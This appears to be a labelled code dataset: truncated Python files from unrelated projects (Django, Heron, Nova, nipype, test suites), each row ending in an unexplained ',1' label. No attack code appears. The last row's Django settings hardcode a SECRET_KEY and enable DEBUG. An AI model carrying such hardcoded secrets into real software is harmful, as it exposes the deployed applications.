attribute has unexpected value ({value})') @pytest.mark.parametrize(('test_item'), TEST_ITEMS) def test_containers_smartstate_analysis_api(provider, test_item, soft_assert, delete_all_container_tasks, random_image_instance): """""" Test initiating a SmartState Analysis scan via the CFME API through the ManageIQ API Client entity class. RFE: BZ 1486362 Polarion: assignee: juwatts caseimportance: high casecomponent: Containers initialEstimate: 1/6h """""" if test_item.is_openscap: random_image_instance.assign_policy_profiles('OpenSCAP profile') else: random_image_instance.unassign_policy_profiles('OpenSCAP profile') original_scan = random_image_instance.last_scan_attempt_on random_image_instance.scan() task = provider.appliance.collections.tasks.instantiate( name=f""Container Image Analysis: '{random_image_instance.name}'"", tab='AllTasks') task.wait_for_finished() soft_assert(original_scan != random_image_instance.last_scan_attempt_on, 'SmartState Anaysis scan has failed') ",1 "ll_requires = [] # Python 2.6 does not include the argparse module. try: import argparse except ImportError: install_requires.append('argparse') # Python 2.6 does not include OrderedDict. try: from collections import OrderedDict except ImportError: install_requires.append('ordereddict') try: with open('README.rst') as readme: long_description = readme.read() except IOError: long_description = 'See https://pypi.python.org/pypi/wiggelen' # This is quite the hack, but we don't want to import our package from here # since that's recipe for disaster (it might have some uninstalled # dependencies, or we might import another already installed version). distmeta = {} for line in open(os.path.join('wiggelen', '__init__.py')): try: field, value = (x.strip() for x in line.split('=')) except ValueError: continue if field == '__version_info__': value = value.strip('[]()') value = '.'.join(x.strip(' \'""') for x in value.split(',')) else: value = value.strip('\'""') distmeta[field] = value setup( name='wiggelen', version=distmeta['__version_info__'], description='Working with wiggle tracks in Python', long_description=long_description, author=distmeta['__author__'], author_email=distmeta['__contact__'], url=distmeta['__homepage__'], license='MIT License', platforms=['any'], packages=['wiggelen'], install_requires=install_requires, entry_points = { 'console_scripts': ['wiggelen = wiggelen.commands:main'] }, classifiers = [ 'Development Status :: 3 - Alpha', 'Intended Audience :: Developers', 'Intended Audience :: Science/Research', 'Operating System :: OS Independent', 'Programming Language :: Python', 'Topic :: Scientific/Engineering', ], keywords='bioinformatics' ) ",1 "/en/1.9/topics/http/urls/ Examples: Function views 1. Add an import: from my_app import views 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home') Class-based views 1. Add an import: from other_app.views import Home 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home') Including another URLconf 1. Add an import: from blog import urls as blog_urls 2. Import the include() function: from django.conf.urls import url, include 3. Add a URL to urlpatterns: url(r'^blog/', include(blog_urls)) """""" from django.conf.urls import url, include from django.contrib import admin urlpatterns = [ url(r'^red/', include('apps.red_app.urls', namespace='red_namespace')), url(r'^blue/', include('apps.blue_app.urls', namespace='blue_namespace')), url(r'^admin/', admin.site.urls), ] ",1 "ts. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # ""License""); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. """""" metrichandler.py """""" import traceback import tornado.gen import tornado.web from heron.common.src.python.utils.log import Log from heron.proto import common_pb2 from heron.proto import tmaster_pb2 from heron.tools.tracker.src.python import constants from heron.tools.tracker.src.python.handlers import BaseHandler class MetricsHandler(BaseHandler): """""" URL - /topologies/metrics Parameters: - cluster (required) - role - (optional) Role used to submit the topology. - environ (required) - topology (required) name of the requested topology - component (required) - metricname (required, repeated) - interval (optional) - instance (optional, repeated) The response JSON is a map of all the requested (or if nothing is mentioned, all) components of the topology, to the metrics that are reported by that component. """""" # pylint: disable=attribute-defined-outside-init def initialize(self, tracker): """""" initialize """""" self.tracker = tracker @tornado.gen.coroutine def get(self): """""" get method """""" try: cluster = self.get_argument_cluster() role = self.get_argument_role() environ = self.get_argument_environ() topology_name = self.get_argument_topology() component = self.get_argument_component() metric_names = self.get_required_arguments_metricnames() topology = self.tracker.getTopologyByClusterRoleEnvironAndName( cluster, role, environ, topology_name) interval = int(self.get_argument(constants.PARAM_INTERVAL, default=-1)) instances = self.get_arguments(constants.PARAM_INSTANCE) metrics = yield tornado.gen.Task( self.getComponentMetrics, topology.tmaster, component, metric_names, instances, interval) self.write_success_response(metrics) except Exception as e: Log.debug(traceback.format_exc()) self.write_error_response(e) # pylint: disable=too-many-locals, no-self-use, unused-argument @tornado.gen.coroutine def getComponentMetrics(self, tmaster, componentName, metricNames, instances, interval, callback=None): """""" Get the specified metrics for the given component name of this topology. Returns the following dict on success: { ""metrics"": { : { : , : , ... }, ... }, ""interval"": , ""component"": ""..."" } Raises exception on failure. """""" if not tmaster or not tmaster.host or not tmaster.stats_port: raise Exception(""No Tmaster found"") host = tmaster.host port = tmaster.stats_port metricRequest = tmaster_pb2.MetricRequest() metricRequest.component_name = componentName if len(instances) > 0: for instance in instances: metricRequest.instance_id.append(instance) for metricName in metricNames: metricRequest.metric.append(metricName) metricRequest.interval = interval # Serialize the metricRequest to send as a payload # with the HTTP request. metricRequestString = metricRequest.SerializeToString() url = ""http://{0}:{1}/stats"".format(host, port) request = tornado.httpclient.HTTPRequest(url, body=metricRequestString, method='POST', request_timeout=5) Log.debug(""Making HTTP call to fetch metrics"") Log.debug(""url: "" + url) try: client = tornado.httpclient.AsyncHTTPClient() result = yield client.fetch(request) Log.debug(""HTTP call complete."") except tornado.httpclient.HTTPError as e: raise Exception(str(e)) # Check the response code - error if it is in 400s or 500s responseCode = result.code if responseCode >= 400: message = ""Error in getting metrics from Tmaster, code: "" + responseCode Log.error(message) raise Exception(message) # Parse the response from tmaster. metricResponse = tmaster_pb2.MetricResponse() metricResponse.ParseFromString(result.body) if metricResponse.status.status == common_pb2.NOTOK: if metricResponse.status.HasField(""message""): Log.warn(""Received response from Tmaster: %s"", metricResponse.status.message) # Form the response. ret = {} ret[""interval""] = metricResponse.interval ret[""component""] = componentName ret[""metrics""] = {} for metric in metricResponse.metric: instance = metric.instance_id for im in metric.metric: metricname = im.name value = im.value if metricname not in ret[""metrics""]: ret[""metrics""][metricname] = {} ret[""metrics""][metricname][instance] = value raise tornado.gen.Return(ret) ",1 "(models.Model): name = models.CharField(max_length=150) latin_name = models.CharField(max_length=150) count = models.IntegerField() weight = models.FloatField() # use a non-default name for the default manager specimens = models.Manager() def __unicode__(self): return self.name class Plant(models.Model): name = models.CharField(max_length=150) class Meta: # For testing when upper case letter in app name; regression for #4057 db_table = ""Fixtures_regress_plant"" class Stuff(models.Model): name = models.CharField(max_length=20, null=True) owner = models.ForeignKey(User, null=True) def __unicode__(self): return unicode(self.name) + u' is owned by ' + unicode(self.owner) class Absolute(models.Model): name = models.CharField(max_length=40) load_count = 0 def __init__(self, *args, **kwargs): super(Absolute, self).__init__(*args, **kwargs) Absolute.load_count += 1 class Parent(models.Model): name = models.CharField(max_length=10) class Meta: ordering = ('id',) class Child(Parent): data = models.CharField(max_length=10) # Models to regression test #7572 class Channel(models.Model): name = models.CharField(max_length=255) class Article(models.Model): title = models.CharField(max_length=255) channels = models.ManyToManyField(Channel) class Meta: ordering = ('id',) # Models to regression test #11428 class Widget(models.Model): name = models.CharField(max_length=255) class Meta: ordering = ('name',) def __unicode__(self): return self.name class WidgetProxy(Widget): class Meta: proxy = True # Check for forward references in FKs and M2Ms with natural keys class TestManager(models.Manager): def get_by_natural_key(self, key): return self.get(name=key) class Store(models.Model): objects = TestManager() name = models.CharField(max_length=255) class Meta: ordering = ('name',) def __unicode__(self): return self.name def natural_key(self): return (self.name,) class Person(models.Model): objects = TestManager() name = models.CharField(max_length=255) class Meta: ordering = ('name',) def __unicode__(self): return self.name # Person doesn't actually have a dependency on store, but we need to define # one to test the behaviour of the dependency resolution algorithm. def natural_key(self): return (self.name,) natural_key.dependencies = ['fixtures_regress.store'] class Book(models.Model): name = models.CharField(max_length=255) author = models.ForeignKey(Person) stores = models.ManyToManyField(Store) class Meta: ordering = ('name',) def __unicode__(self): return u'%s by %s (available at %s)' % ( self.name, self.author.name, ', '.join(s.name for s in self.stores.all()) ) class NKManager(models.Manager): def get_by_natural_key(self, data): return self.get(data=data) class NKChild(Parent): data = models.CharField(max_length=10, unique=True) objects = NKManager() def natural_key(self): return self.data def __unicode__(self): return u'NKChild %s:%s' % (self.name, self.data) class RefToNKChild(models.Model): text = models.CharField(max_length=10) nk_fk = models.ForeignKey(NKChild, related_name='ref_fks') nk_m2m = models.ManyToManyField(NKChild, related_name='ref_m2ms') def __unicode__(self): return u'%s: Reference to %s [%s]' % ( self.text, self.nk_fk, ', '.join(str(o) for o in self.nk_m2m.all()) ) # ome models with pathological circular dependencies class Circle1(models.Model): name = models.CharField(max_length=255) def natural_key(self): return self.name natural_key.dependencies = ['fixtures_regress.circle2'] class Circle2(models.Model): name = models.CharField(max_length=255) def natural_key(self): return self.name natural_key.dependencies = ['fixtures_regress.circle1'] class Circle3(models.Model): name = models.CharField(max_length=255) def natural_key(self): return self.name natural_key.dependencies = ['fixtures_regress.circle3'] class Circle4(models.Model): name = models.CharField(max_length=255) def natural_key(self): return self.name natural_key.dependencies = ['fixtures_regress.circle5'] class Circle5(models.Model): name = models.CharField(max_length=255) def natural_key(self): return self.name natural_key.dependencies = ['fixtures_regress.circle6'] class Circle6(models.Model): name = models.CharField(max_length=255) def natural_key(self): return self.name natural_key.dependencies = ['fixtures_regress.circle4'] class ExternalDependency(models.Model): name = models.CharField(max_length=255) def natural_key(self): return self.name natural_key.dependencies = ['fixtures_regress.book'] # Model for regression test of #11101 class Thingy(models.Model): name = models.CharField(max_length=255) ",1 "stance(): """"""See if this contraption works in 1 dimension"""""" num1 = random.random() num2 = random.random() assert kmeans.ndim_euclidean_distance(num1, num2) == abs(num1-num2) def test_ndim_distance(): """"""Test to see if changing val by 1 does what it ought to do convert to float to integer because floating arithmetic makes testing analytic functions a mess"""""" rand = random.random point1 = [rand(), rand(), rand(), rand(), rand(), rand()] point2 = [point1[0]+1] + point1[1:] # just shift x to the right by 1 assert int(round(kmeans.ndim_euclidean_distance(point1, point2))) == 1 def test_maxiters(): """"""ensure the iteration ceiling works"""""" # assert kmeans.should_iter([], [], iterations=29) == True assert kmeans.should_iter([], [], iterations=30) == False assert kmeans.should_iter([], [], iterations=31) == False def test_random_centroid_dimensions(): """"""ensure the correct number of dimensions"""""" dimensions = random.randrange(1, 100) k = random.randrange(1, 100) centroids = kmeans.random_centroids(k, dimensions) for centroid in centroids: assert len(centroid) == dimensions def test_iterated_centroid(): """"""ensure that the average across each dimension is returned"""""" new_centroid = kmeans.iterated_centroid([[1, 1, 1], [2, 2, 2]],\ [[100, 200, 300]], [(0, 0), (1, 0)]) np.testing.assert_allclose(new_centroid, np.array([[1.5, 1.5, 1.5]]),\ rtol=1e-5) ",1 "): self.assertEqual(string_color('Jack'), '79CAE5') def test_equal_2(self): self.assertEqual(string_color('Joshua'), '6A10D6') def test_equal_3(self): self.assertEqual(string_color('Joshua Smith'), '8F00FB') def test_equal_4(self): self.assertEqual(string_color('Hayden Smith'), '7E00EE') def test_equal_5(self): self.assertEqual(string_color('Mathew Smith'), '8B00F1') def test_is_none_1(self): self.assertIsNone(string_color('a')) ",1 "on package. # In bugfix releases of the python package, add a '-' suffix and an # incrementing integer. # For example, a packaging bugfix release version 1.4.4 of the # js.jquery package would be version 1.4.4-1 . version = '0.9.7rt' def read(*rnames): return open(os.path.join(os.path.dirname(__file__), *rnames)).read() long_description = ( read('README.txt') + '\n' + read('js', 'chosen', 'test_chosen.txt') + '\n' + read('CHANGES.txt')) setup( name='js.chosen', version=version, description=""Fanstatic packaging of Chosen"", long_description=long_description, classifiers=[], keywords='', author='Fanstatic Developers', author_email='fanstatic@googlegroups.com', license='BSD', packages=find_packages(),namespace_packages=['js'], include_package_data=True, zip_safe=False, install_requires=[ 'fanstatic', 'js.jquery', 'setuptools', ], entry_points={ 'fanstatic.libraries': [ 'chosen = js.chosen:library', ], }, ) ",1 "it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. # __init__.py.py """""" import urlparse from niimanga.libs.exceptions import HtmlError from requests import request class Site: def __init__(self): pass def get_html(self, url, method='GET', **kwargs): resp = request(method, url, **kwargs) if resp.status_code != 200: raise HtmlError({'msg': 'external_request_fail', 'url': url}) return resp.content def fetch_manga_seed_page(self, url, **kwargs): return self.get_html(url, **kwargs) def fetch_chapter_seed_page(self, url, **kwargs): return self.get_html(url, **kwargs) def fetch_page_image(self, url, **kwargs): return self.get_html(url, **kwargs) def search_by_author(self, author): """""" Return list of chapter dicts whose keys are: name url site This should be specifically implemented in each Site subclass. If not, this method will be used which returns an empty list. """""" return [] from mangaeden import MangaEden from batoto import Batoto available_sites = [ # Kissmanga(), # Vitaku(), Batoto(), # Mangafox(), # Mangahere(), # MangaHereMob(), MangaEden() ] # Factory function, return instance of suitable ""site"" class from url def get_site(url): netloc = urlparse.urlparse(url).netloc for site in available_sites: if netloc in site.netlocs: return site return None",1 "mport Archiver from archiver.parser import parseArgs args = parseArgs() from edit import edit # ============================================== print args # TODO: see http://stackoverflow.com/questions/13168083/python-raw-input-replacement-that-uses-a-configurable-text-editor #-- import pdb #-- pdb.set_trace() # ------------------------------------------------------------ # load the user data # ------------------------------------------------------------ # get the user data directory user_data_dir = appdirs.user_data_dir('FileArchiver', 'jdthorpe') if not os.path.exists(user_data_dir) : os.makedirs(user_data_dir) # LOAD THE INDEX NAMES AND ACTIVE INDEX indexes_path = os.path.join(user_data_dir,'INDEXES.json') if os.path.exists(indexes_path): with open(indexes_path,'rb') as fh: indexes = json.load(fh) else: indexes= {'active':None,'names':[]} if not os.path.exists(user_data_dir): os.makedirs(user_data_dir) def dumpIndexes(): with open(indexes_path,'wb') as fh: json.dump(indexes,fh) # ------------------------------------------------------------ # ------------------------------------------------------------ def getActiveName(): # ACTIVE INDEX NUMER activeIndex = indexes['active'] if activeIndex is None: print ""No active index. Use 'list -i' to list available indexies and 'use' to set an active index."" sys.exit() # GET THE NAME OF THE INDEX try: activeIndexName = indexes['names'][indexes['active']] except: print ""Invalid index number"" sys.exit() return activeIndexName # ------------------------------------------------------------ # READ-WRITE UTILITY FUNCTIONS # ------------------------------------------------------------ # TODO: catch specific excepitons: # except IOError: # # no such file # except ValueError as e: # # invalid json file def readSettings(name): """""" A utility function which loads the index settings from file """""" try: with open(os.path.join(user_data_dir,name+"".settings""),'rb') as fh: settings = json.load(fh) except Exception as e: print ""Error reading index settings"" import pdb pdb.set_trace() sys.exit() return settings def readData(name): """""" A utility function which loads the index data from file """""" try: with open(os.path.join(user_data_dir,name+"".data""),'rb') as fh: data = pickle.load(fh) except Exception as e: print ""Error reading index data"" import pdb pdb.set_trace() sys.exit() return data def dumpSettings(settings,name): """""" A utility function which saves the index settings to file """""" try: with open(os.path.join(user_data_dir,name+"".settings""),'wb') as fh: json.dump(settings,fh) except Exception as e: print ""Error writing index settings"" import pdb pdb.set_trace() sys.exit() def dumpData(data,name): """""" A utility function which saves the index settings to file """""" try: with open(os.path.join(user_data_dir,name+"".data""),'wb') as fh: pickle.dump(data,fh) except: print ""Error writing index data"" import pdb pdb.set_trace() sys.exit() # ------------------------------------------------------------ # ------------------------------------------------------------ if args.command == 'add': activeName = getActiveName() settings = readSettings(activeName) if args.source is not None: source = os.path.abspath(args.source) if not os.path.exists(source): print 'WARNING: no such directory ""%s""'%(source) elif not os.path.isdir(source): print 'ERROR: ""%s"" is not a directory'%(source) sys.exit() print 'Adding source directory: %s'%(source) if not any(samefile(source,f) for f in settings['sourceDirectories']): settings['sourceDirectories'].append(source) elif args.exclusions is not None: import re try: re.compile(args.exclusion) except re.error: print 'Invalid regular expression ""%s""'%(args.exclusion) sys.exit() if args.noic: settings['directoryExclusionPatterns'].append(args.exclusion) else: settings['directoryExclusionPatterns'].append((args.exclusion,2)) # re.I == 2 elif args.archive is not None: raise NotImplementedError if settings['archiveDirectory'] is not None: print ""Archive path has already been set use 'remove' to delete the archive path before setting a new archive path"" archiveDirectory = os.path.abspath(args.archive) if not os.path.exists(archiveDirectory): if args.create : os.makedirs(archiveDirectory) else: print 'ERROR: no such directory ""%s""'%(archiveDirectory) sys.exit() elif not os.path.isdir(archiveDirectory): print '""%s"" is not a directory'%(archiveDirectory) sys.exit() print 'Setting archive directory to: %s'%(archiveDirectory) settings['archiveDirectory'] = args.archive else: raise NotImplementedError print 'Error in Arg Parser' sys.exit() dumpSettings(settings,activeName) elif args.command == 'list': if args.sources: for f in readSettings(getActiveName())['sourceDirectories']: print f elif args.exclusions: for f in readSettings(getActiveName())['directoryExclusionPatterns']: print f elif args.archive: print readSettings(getActiveName())['archiveDirectory'] elif args.files: archiver = Archiver() archiver.data = readData(getActiveName()) for f in archiver: print f elif args.indexes: print 'Active Index: %s (*)'%(getActiveName()) print 'Index Names: ' for i,name in enumerate(indexes['names']): print ' %s %i: %s'%( (' ','*')[(i == indexes['active'])+0], i+1, name, ) else: print 'Error in Arg Parser' elif args.command == 'remove': activeName = getActiveName() settings = readSettings(activeName) if args.source is not None: if not (1 <= args.source <= len(settings['sourceDirectories'])): print 'Invalid index %i'%(args.source) del settings['sourceDirectories'][args.source - 1] elif args.exclusion is not None: raise NotImplementedError if not (1 <= args.exclusion <= len(settings['directoryExclusionPatterns'])): print 'Invalid index %i'%(args.exclusion) del settings['directoryExclusionPatterns'][args.exclusion - 1] elif args.archive is not None: raise NotImplementedError settings['archiveDirectory'] = None else: raise NotImplementedError print 'Error in Arg Parser' sys.exit() dumpSettings(settings,activeName) elif args.command == 'update': activeName = getActiveName() settings = readSettings(activeName) if not len(settings['sourceDirectories']): print ""Error: no source directories in the active index. Please add a source directory via 'add -s'"" archiver = Archiver( settings = readSettings(activeName), data = readData(activeName)) archiver.update() dumpSettings(archiver.settings,activeName) dumpData(archiver.data,activeName) elif args.command == 'clean': raise NotImplementedError activeName = getActiveName() archiver = Archiver( settings = readSettings(activeName), data = readData(activeName)) archiver.clean() dumpSettings(archiver.settings,activeName) dumpData(archiver.data,activeName) elif args.command == 'copy': raise NotImplementedError activeName = getActiveName() settings = readSettings(activeName), if settings['archiveDirectory'] is None: print ""ERROR Archive directory not set. Use 'add -a' to set the archive directory."" sys.exit() Index( settings = settings, data = readData(activeName)).copy() elif args.command == 'diskimages': raise NotImplementedError if args.size is None or args.size == ""DVD"": size = 4.65*1<<20 elif args.size == ""CD"": size = 645*1<<20 elif args.size == ""DVD"": size = 4.65*1<<20 elif args.size == ""DVD-dual"": size = 8.5*1<<30 elif args.size == ""BD"": size = 25*1<<30 elif args.size == ""BD-dual"": size = 50*1<<30 elif args.size == ""BD-tripple"": size = 75*1<<30 elif args.size == ""BD-xl"": size = 100*1<<30 else: try: size = int(float(args.size)) except: print 'ERROR: unable to coerce ""%s"" to float or int'%(args.size) sys.exit() activeName = getActiveName() settings = readSettings(activeName), # GET THE DIRECTORY ARGUMENT if args.directory is not None: directory = args.directory else: if settings['archiveDirectory'] is None: print ""ERROR Archive directory not set and no directory specified. Use 'diskimages -d' to specifiy the disk image directory or 'add -a' to set the archive directory."" sys.exit() else: directory = os.path.join(settings['archiveDirectory'],'Disk Images') # VALIDATE THE DIRECTORY if not os.path.exists(directory): if args.create : os.makedirs(directory) else: print 'ERROR: no such directory ""%s""'%(directory) sys.exit() elif not os.path.isdir(directory): print '""%s"" is not a directory'%(directory) sys.exit() # get the FPBF argument if args.fpbf is not None: FPBF = True elif args.nofpbf is not None: FPBF = False else: FPBF = sys.platform == 'darwin' Index( settings = settings, data = readData(activeName)).diskimages(directory,size,FPBF) elif args.command == 'settings': activeName = getActiveName() if args.export is not None: raise NotImplementedError with open(args.export,'rb') as fh: json.dump(readSettings(activeName),fh,indent=2,separators=(',', ': ')) elif args.load is not None: raise NotImplementedError with open(args.export,'wb') as fh: settings = json.load(fh) # give a chance for the settings to be validated try: archiver = Archiver(settings=settings) except: print ""ERROR: invalid settings file"" dumpSettings(archiver.settings,args.name) elif args.edit is not None: settings = readSettings(activeName) old = settings['identifierSettings'][args.edit] new = edit(json.dumps(old,indent=2,separators=(',', ': '))) settings['identifierSettings'][args.edit]= json.loads(new) dumpSettings(settings,activeName) else : print json.dumps(readSettings(activeName),indent=2,separators=(',', ': ')) elif args.command == 'create': if args.name in indexes['names']: print ""An index by the name '%s' already exists""%(args.name) sys.exit() import re validater = re.compile(r'^[-() _a-zA-Z0-9](?:[-() _.a-zA-Z0-9]+[-() _a-zA-Z0-9])$') if validater.match(args.name) is None: print ""ERROR: names must be composed of letters, numbers, hypen, underscore, space and dot charactes an not end or begin with a dot"" sys.exit() archiver = Index() dumpSettings(archiver.settings,args.name) dumpData(archiver.data,args.name) indexes['names'].append(args.name) dumpIndexes() # TODO: check if there are no other indexies. if so, make the new one active. print ""Created index '%s'""%(args.name) elif args.command == 'save': raise NotImplementedError Index( settings = readSettings(getActiveName()), data = readData(getActiveName())).save(args.filename) elif args.command == 'use': print indexes['names'] if not args.name in indexes['names']: print ""ERROR: No such index named '%s'""%(args.name) sys.exit() indexes['active'] =indexes['names'].index(args.name) dumpIndexes() elif args.command == 'delete': if not args.name in indexes['names']: print ""ERROR: No such index named '%s'""%(args.name) sys.exit() nameIindex = indexes['names'].index(args.name) if indexes['active'] == nameIindex: print 'WARNING: deleting active index' indexes['active'] = None del indexes['names'][nameIindex] dumpIndexes() else : print ""unknown command %s""%(args.command) ",1 "erved. # # Licensed under the Apache License, Version 2.0 (the ""License""); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. """"""Metadata request handler."""""" import hashlib import hmac import os from oslo_config import cfg from oslo_log import log as logging import six import webob.dec import webob.exc from nova.api.metadata import base from nova import conductor from nova import exception from nova.i18n import _ from nova.i18n import _LE from nova.i18n import _LW from nova.openstack.common import memorycache from nova import utils from nova import wsgi CACHE_EXPIRATION = 15 # in seconds CONF = cfg.CONF CONF.import_opt('use_forwarded_for', 'nova.api.auth') metadata_proxy_opts = [ cfg.BoolOpt( 'service_metadata_proxy', default=False, help='Set flag to indicate Neutron will proxy metadata requests and ' 'resolve instance ids.'), cfg.StrOpt( 'metadata_proxy_shared_secret', default='', secret=True, help='Shared secret to validate proxies Neutron metadata requests'), ] CONF.register_opts(metadata_proxy_opts, 'neutron') LOG = logging.getLogger(__name__) class MetadataRequestHandler(wsgi.Application): """"""Serve metadata."""""" def __init__(self): self._cache = memorycache.get_client() self.conductor_api = conductor.API() def get_metadata_by_remote_address(self, address): if not address: raise exception.FixedIpNotFoundForAddress(address=address) cache_key = 'metadata-%s' % address data = self._cache.get(cache_key) if data: return data try: data = base.get_metadata_by_address(self.conductor_api, address) except exception.NotFound: return None self._cache.set(cache_key, data, CACHE_EXPIRATION) return data def get_metadata_by_instance_id(self, instance_id, address): cache_key = 'metadata-%s' % instance_id data = self._cache.get(cache_key) if data: return data try: data = base.get_metadata_by_instance_id(self.conductor_api, instance_id, address) except exception.NotFound: return None self._cache.set(cache_key, data, CACHE_EXPIRATION) return data @webob.dec.wsgify(RequestClass=wsgi.Request) def __call__(self, req): if os.path.normpath(req.path_info) == ""/"": resp = base.ec2_md_print(base.VERSIONS + [""latest""]) req.response.body = resp req.response.content_type = base.MIME_TYPE_TEXT_PLAIN return req.response if CONF.neutron.service_metadata_proxy: meta_data = self._handle_instance_id_request(req) else: if req.headers.get('X-Instance-ID'): LOG.warning( _LW(""X-Instance-ID present in request headers. The "" ""'service_metadata_proxy' option must be "" ""enabled to process this header."")) meta_data = self._handle_remote_ip_request(req) if meta_data is None: raise webob.exc.HTTPNotFound() try: data = meta_data.lookup(req.path_info) except base.InvalidMetadataPath: raise webob.exc.HTTPNotFound() if callable(data): return data(req, meta_data) resp = base.ec2_md_print(data) if isinstance(resp, six.text_type): req.response.text = resp else: req.response.body = resp req.response.content_type = meta_data.get_mimetype() return req.response def _handle_remote_ip_request(self, req): remote_address = req.remote_addr if CONF.use_forwarded_for: remote_address = req.headers.get('X-Forwarded-For', remote_address) try: meta_data = self.get_metadata_by_remote_address(remote_address) except Exception: LOG.exception(_LE('Failed to get metadata for ip: %s'), remote_address) msg = _('An unknown error has occurred. ' 'Please try your request again.') raise webob.exc.HTTPInternalServerError( explanation=six.text_type(msg)) if meta_data is None: LOG.error(_LE('Failed to get metadata for ip: %s'), remote_address) return meta_data def _handle_instance_id_request(self, req): instance_id = req.headers.get('X-Instance-ID') tenant_id = req.headers.get('X-Tenant-ID') signature = req.headers.get('X-Instance-ID-Signature') remote_address = req.headers.get('X-Forwarded-For') # Ensure that only one header was passed if instance_id is None: msg = _('X-Instance-ID header is missing from request.') elif signature is None: msg = _('X-Instance-ID-Signature header is missing from request.') elif tenant_id is None: msg = _('X-Tenant-ID header is missing from request.') elif not isinstance(instance_id, six.string_types): msg = _('Multiple X-Instance-ID headers found within request.') elif not isinstance(tenant_id, six.string_types): msg = _('Multiple X-Tenant-ID headers found within request.') else: msg = None if msg: raise webob.exc.HTTPBadRequest(explanation=msg) expected_signature = hmac.new( CONF.neutron.metadata_proxy_shared_secret, instance_id, hashlib.sha256).hexdigest() if not utils.constant_time_compare(expected_signature, signature): if instance_id: LOG.warning(_LW('X-Instance-ID-Signature: %(signature)s does ' 'not match the expected value: ' '%(expected_signature)s for id: ' '%(instance_id)s. Request From: ' '%(remote_address)s'), {'signature': signature, 'expected_signature': expected_signature, 'instance_id': instance_id, 'remote_address': remote_address}) msg = _('Invalid proxy request signature.') raise webob.exc.HTTPForbidden(explanation=msg) try: meta_data = self.get_metadata_by_instance_id(instance_id, remote_address) except Exception: LOG.exception(_LE('Failed to get metadata for instance id: %s'), instance_id) msg = _('An unknown error has occurred. ' 'Please try your request again.') raise webob.exc.HTTPInternalServerError( explanation=six.text_type(msg)) if meta_data is None: LOG.error(_LE('Failed to get metadata for instance id: %s'), instance_id) elif meta_data.instance.project_id != tenant_id: LOG.warning(_LW(""Tenant_id %(tenant_id)s does not match tenant_id "" ""of instance %(instance_id)s.""), {'tenant_id': tenant_id, 'instance_id': instance_id}) # causes a 404 to be raised meta_data = None return meta_data ",1 "ll on a set of subjects and then make an average subject. python smri_freesurfer.py Import necessary modules from nipype. """""" import os import nipype.pipeline.engine as pe import nipype.interfaces.io as nio from nipype.interfaces.freesurfer.preprocess import ReconAll from nipype.interfaces.freesurfer.utils import MakeAverageSubject subject_list = ['s1', 's3'] data_dir = os.path.abspath('data') subjects_dir = os.path.abspath('amri_freesurfer_tutorial/subjects_dir') wf = pe.Workflow(name=""l1workflow"") wf.base_dir = os.path.abspath('amri_freesurfer_tutorial/workdir') """""" Grab data """""" datasource = pe.MapNode(interface=nio.DataGrabber(infields=['subject_id'], outfields=['struct']), name='datasource', iterfield=['subject_id']) datasource.inputs.base_directory = data_dir datasource.inputs.template = '%s/%s.nii' datasource.inputs.template_args = dict(struct=[['subject_id', 'struct']]) datasource.inputs.subject_id = subject_list """""" Run recon-all """""" recon_all = pe.MapNode(interface=ReconAll(), name='recon_all', iterfield=['subject_id', 'T1_files']) recon_all.inputs.subject_id = subject_list if not os.path.exists(subjects_dir): os.mkdir(subjects_dir) recon_all.inputs.subjects_dir = subjects_dir wf.connect(datasource, 'struct', recon_all, 'T1_files') """""" Make average subject """""" average = pe.Node(interface=MakeAverageSubject(), name=""average"") average.inputs.subjects_dir = subjects_dir wf.connect(recon_all, 'subject_id', average, 'subjects_ids') wf.run(""MultiProc"", plugin_args={'n_procs': 4}) ",1 "/docs.djangoproject.com/en/1.11/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/1.11/ref/settings/ """""" import os # Build paths inside the project like this: os.path.join(BASE_DIR, ...) BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) # Quick-start development settings - unsuitable for production # See https://docs.djangoproject.com/en/1.11/howto/deployment/checklist/ # SECURITY WARNING: keep the secret key used in production secret! SECRET_KEY = '$-2ijwgs8-3i*r#j@1ian5xrp+17)fz)%cdjjhwa#4x&%lk7v@' # SECURITY WARNING: don't run with debug turned on in production! DEBUG = True ALLOWED_HOSTS = [] # Application definition INSTALLED_APPS = [ 'keys', 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', ] MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', ] ROOT_URLCONF = 'keyman.urls' TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [], 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', ], }, }, ] WSGI_APPLICATION = 'keyman.wsgi.application' # Database # https://docs.djangoproject.com/en/1.11/ref/settings/#databases DATABASES = { 'default': { 'ENGINE': 